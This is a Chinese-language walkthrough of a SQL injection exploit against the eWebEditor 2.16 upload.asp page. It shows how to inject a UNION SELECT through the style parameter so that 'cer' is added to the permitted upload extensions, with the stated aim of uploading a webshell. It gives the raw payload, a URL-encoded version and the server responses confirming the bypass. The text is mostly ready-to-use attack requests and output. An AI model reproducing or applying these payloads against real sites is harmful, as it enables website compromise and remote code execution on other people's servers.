既然sStyleName(style)处有注入那么我们完全可以使用union来控制返回的内容，再S_ImageExt字段加上一个cer类型来实现上传一个webshell,这样的方法的确蹊跷，不过确定是可行的，下面本地进行一些测试架设ewebeditor2.16
首先直接请求下upload.asp发现返回代码如下：
文件顶部：
<script language=javascript>parent.UploadError('无效的样式ID号，请通过页面上的链接进行操作！');history.back()</script>

关键代码：
var sAllowExt = "";
// 检测上传表单
function CheckUploadForm() {
if (!IsExt(document.myform.uploadfile.value,sAllowExt)){
parent.UploadError("提示：\n\n请选择一个有效的文件，\n支持的格式有（"+sAllowExt+"）！");
这是正常因为我们并没有给他一个正常的样式，下面给他一个正常的样式看看返回结果
请求：upload.asp?action=save&type=IMAGE&style=standard
关键代码变为：
var sAllowExt = "GIF|JPG|JPEG|BMP";
// 检测上传表单
function CheckUploadForm() {
if (!IsExt(document.myform.uploadfile.value,sAllowExt)){
parent.UploadError("提示：\n\n请选择一个有效的文件，\n支持的格式有（"+sAllowExt+"）！");
return false;
}
return true
}

代码正确执行，读取了数据库中样式为standard的图片上传类型，那么下面我们就需要想办法构造我们的注入代码，利用使用union来控制数据库内的字段返回，对照了一下数据库的字段我构造了如下代码
upload.asp?action=save&type=IMAGE&style=fst' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]+'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard' and 'a'='a

将其URL编码处理一下
upload.asp?action=save&type=IMAGE&style=firefox'%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,%20[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl%20from%20ewebeditor_style%20where%20s_name='standard'%20and%20'a'='a

提交下我们再来看upload.asp返回给我们的关键部分内容
var sAllowExt = "GIF|JPG|JPEG|BMP|CER";
// 检测上传表单
function CheckUploadForm() {
if (!IsExt(document.myform.uploadfile.value,sAllowExt)){
parent.UploadError("提示：\n\n请选择一个有效的文件，\n支持的格式有（"+sAllowExt+"）！");
return false;
}
return true
}

图